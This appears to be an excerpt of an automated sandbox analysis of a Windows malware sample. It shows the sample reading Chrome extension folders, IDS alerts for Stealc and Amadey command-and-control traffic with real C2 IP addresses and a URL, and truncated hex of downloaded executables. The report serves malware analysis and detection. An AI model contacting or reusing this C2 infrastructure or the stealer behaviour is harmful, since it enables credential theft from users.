Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49941 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49942

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 23:19:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 